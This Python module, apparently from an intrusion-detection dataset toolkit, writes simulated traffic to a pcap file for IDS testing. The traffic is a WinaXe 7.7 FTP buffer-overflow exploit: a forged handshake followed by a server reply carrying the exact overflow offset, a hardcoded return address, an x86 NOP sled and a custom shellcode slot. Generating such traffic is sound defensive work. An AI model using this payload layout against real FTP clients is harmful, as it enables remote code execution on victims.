import logging from random import randint from lea import Lea from scapy.layers.inet import IP, Ether, TCP from Attack import BaseAttack from Attack.AttackParameters import Parameter as Param from Attack.AttackParameters import ParameterTypes from ID2TLib.Utility import update_timestamp, generate_source_port_from_platform, get_rnd_x86_nop, forbidden_chars,\ get_rnd_bytes, get_bytes_from_file logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # noinspection PyPep8 ftp_port = 21 class FTPWinaXeExploit(BaseAttack.BaseAttack): def __init__(self): """ Creates a new instance of the FTPWinaXeExploit. """ # Initialize attack super(FTPWinaXeExploit, self).__init__("FTPWinaXe Exploit", "Injects an WinaXe 7.7 FTP Exploit.", "Privilege elevation") # Define allowed parameters and their type self.supported_params = { Param.IP_SOURCE: ParameterTypes.TYPE_IP_ADDRESS, Param.IP_DESTINATION: ParameterTypes.TYPE_IP_ADDRESS, Param.MAC_SOURCE: ParameterTypes.TYPE_MAC_ADDRESS, Param.MAC_DESTINATION: ParameterTypes.TYPE_MAC_ADDRESS, Param.INJECT_AT_TIMESTAMP: ParameterTypes.TYPE_FLOAT, Param.INJECT_AFTER_PACKET: ParameterTypes.TYPE_PACKET_POSITION, Param.IP_SOURCE_RANDOMIZE: ParameterTypes.TYPE_BOOLEAN, Param.PACKETS_PER_SECOND: ParameterTypes.TYPE_FLOAT, Param.CUSTOM_PAYLOAD: ParameterTypes.TYPE_STRING, Param.CUSTOM_PAYLOAD_FILE: ParameterTypes.TYPE_STRING } def init_params(self): """ Initialize the parameters of this attack using the user supplied command line parameters. Use the provided statistics to calculate default parameters and to process user supplied queries. """ # PARAMETERS: initialize with default values # (values are overwritten if user specifies them) most_used_ip_address = self.statistics.get_most_used_ip_address() if isinstance(most_used_ip_address, list): most_used_ip_address = most_used_ip_address[0] # The most used IP class in background traffic most_used_ip_class = self.statistics.process_db_query("most_used(ipClass)") attacker_ip = self.generate_random_ipv4_address(most_used_ip_class) self.add_param_value(Param.IP_DESTINATION, attacker_ip) self.add_param_value(Param.MAC_DESTINATION, self.generate_random_mac_address()) random_ip_address = self.statistics.get_random_ip_address() # victim should be valid and not equal to attacker while not self.is_valid_ip_address(random_ip_address) or random_ip_address == attacker_ip: random_ip_address = self.statistics.get_random_ip_address() self.add_param_value(Param.IP_SOURCE, random_ip_address) victim_mac = self.statistics.get_mac_address(random_ip_address) if isinstance(victim_mac, list) and len(victim_mac) == 0: victim_mac = self.generate_random_mac_address() self.add_param_value(Param.MAC_SOURCE, victim_mac) self.add_param_value(Param.PACKETS_PER_SECOND, (self.statistics.get_pps_sent(most_used_ip_address) + self.statistics.get_pps_received(most_used_ip_address)) / 2) self.add_param_value(Param.INJECT_AFTER_PACKET, randint(0, self.statistics.get_packet_count())) self.add_param_value(Param.IP_SOURCE_RANDOMIZE, 'False') self.add_param_value(Param.CUSTOM_PAYLOAD, '') self.add_param_value(Param.CUSTOM_PAYLOAD_FILE, '') def generate_attack_pcap(self): def get_ip_data(ip_address: str): """ :param ip_address: The ip of which (packet-)data shall be returned :return: MSS, TTL and window size values of the given IP """ # Set MSS (Maximum Segment Size) based on MSS distribution of IP address mss_dist = self.statistics.get_mss_distribution(ip_address) if len(mss_dist) > 0: mss_prob_dict = Lea.fromValFreqsDict(mss_dist) mss_value = mss_prob_dict.random() else: mss_value = self.statistics.process_db_query("most_used(mssValue)") # Set TTL based on TTL distribution of IP address ttl_dist = self.statistics.get_ttl_distribution(ip_address) if len(ttl_dist) > 0: ttl_prob_dict = Lea.fromValFreqsDict(ttl_dist) ttl_value = ttl_prob_dict.random() else: ttl_value = self.statistics.process_db_query("most_used(ttlValue)") # Set Window Size based on Window Size distribution of IP address win_dist = self.statistics.get_win_distribution(ip_address) if len(win_dist) > 0: win_prob_dict = Lea.fromValFreqsDict(win_dist) win_value = win_prob_dict.random() else: win_value = self.statistics.process_db_query("most_used(winSize)") return mss_value, ttl_value, win_value def check_payload_len(payload_len: int, limit: int): """ Checks if the len of the payload exceeds a given limit :param payload_len: The length of the payload :param limit: The limit of the length of the payload which is allowed """ if payload_len > limit: print("\nCustom payload too long: ", payload_len, " bytes. Should be a maximum of ", limit, " bytes.") exit(1) pps = self.get_param_value(Param.PACKETS_PER_SECOND) # Timestamp timestamp_next_pkt = self.get_param_value(Param.INJECT_AT_TIMESTAMP) # store start time of attack self.attack_start_utime = timestamp_next_pkt # Initialize parameters ip_victim = self.get_param_value(Param.IP_SOURCE) ip_attacker = self.get_param_value(Param.IP_DESTINATION) mac_victim = self.get_param_value(Param.MAC_SOURCE) mac_attacker = self.get_param_value(Param.MAC_DESTINATION) custom_payload = self.get_param_value(Param.CUSTOM_PAYLOAD) custom_payload_len = len(custom_payload) custom_payload_limit = 1000 check_payload_len(custom_payload_len, custom_payload_limit) packets = [] # Create random victim if specified if self.get_param_value(Param.IP_SOURCE_RANDOMIZE): # The most used IP class in background traffic most_used_ip_class = self.statistics.process_db_query("most_used(ipClass)") ip_victim = self.generate_random_ipv4_address(most_used_ip_class, 1) mac_victim = self.generate_random_mac_address() # Get MSS, TTL and Window size value for victim/attacker IP victim_mss_value, victim_ttl_value, victim_win_value = get_ip_data(ip_victim) attacker_mss_value, attacker_ttl_value, attacker_win_value = get_ip_data(ip_attacker) minDelay, maxDelay = self.get_reply_delay(ip_attacker) attacker_seq = randint(1000, 50000) victim_seq = randint(1000, 50000) sport = generate_source_port_from_platform("win7") # connection request from victim (client) victim_ether = Ether(src=mac_victim, dst=mac_attacker) victim_ip = IP(src=ip_victim, dst=ip_attacker, ttl=victim_ttl_value, flags='DF') request_tcp = TCP(sport=sport, dport=ftp_port, window=victim_win_value, flags='S', seq=victim_seq, options=[('MSS', victim_mss_value)]) victim_seq += 1 syn = (victim_ether / victim_ip / request_tcp) syn.time = timestamp_next_pkt timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay) packets.append(syn) # response from attacker (server) attacker_ether = Ether(src=mac_attacker, dst=mac_victim) attacker_ip = IP(src=ip_attacker, dst=ip_victim, ttl=attacker_ttl_value, flags='DF') reply_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='SA', window=attacker_win_value, options=[('MSS', attacker_mss_value)]) attacker_seq += 1 synack = (attacker_ether / attacker_ip / reply_tcp) synack.time = timestamp_next_pkt timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay) packets.append(synack) # acknowledgement from victim (client) ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A', window=victim_win_value, options=[('MSS', victim_mss_value)]) ack = (victim_ether / victim_ip / ack_tcp) ack.time = timestamp_next_pkt timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps) packets.append(ack) # FTP exploit packet ftp_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='PA', window=attacker_win_value, options=[('MSS', attacker_mss_value)]) characters = b'220' characters += get_rnd_bytes(2065, forbidden_chars) characters += b'\x96\x72\x01\x68' characters += get_rnd_x86_nop(10, False, forbidden_chars) custom_payload_file = self.get_param_value(Param.CUSTOM_PAYLOAD_FILE) if custom_payload == '': if custom_payload_file == '': payload = get_rnd_bytes(custom_payload_limit, forbidden_chars) else: payload = get_bytes_from_file(custom_payload_file) check_payload_len(len(payload), custom_payload_limit) payload += get_rnd_x86_nop(custom_payload_limit - len(payload), False, forbidden_chars) else: encoded_payload = custom_payload.encode() payload = get_rnd_x86_nop(custom_payload_limit - custom_payload_len, False, forbidden_chars) payload += encoded_payload characters += payload characters += get_rnd_x86_nop(20, False, forbidden_chars) characters += b'\r\n' ftp_tcp.add_payload(characters) ftp_buff = (attacker_ether / attacker_ip / ftp_tcp) ftp_buff.time = timestamp_next_pkt timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps) packets.append(ftp_buff) attacker_seq += len(ftp_tcp.payload) # Fin Ack from attacker fin_ack_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='FA', window=attacker_win_value, options=[('MSS', attacker_mss_value)]) fin_ack = (attacker_ether / attacker_ip / fin_ack_tcp) fin_ack.time = timestamp_next_pkt timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay) packets.append(fin_ack) # Ack from victim on FTP packet ftp_ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A', window=victim_win_value, options=[('MSS', victim_mss_value)]) ftp_ack = (victim_ether / victim_ip / ftp_ack_tcp) ftp_ack.time = timestamp_next_pkt timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps) packets.append(ftp_ack) # Ack from victim on Fin/Ack of attacker fin_ack_ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq+1, flags='A', window=victim_win_value, options=[('MSS', victim_mss_value)]) fin_ack_ack = (victim_ether / victim_ip / fin_ack_ack_tcp) fin_ack_ack.time = timestamp_next_pkt packets.append(fin_ack_ack) # store end time of attack self.attack_end_utime = packets[-1].time # write attack packets to pcap pcap_path = self.write_attack_pcap(sorted(packets, key=lambda pkt: pkt.time)) # return packets sorted by packet time_sec_start return len(packets), pcap_path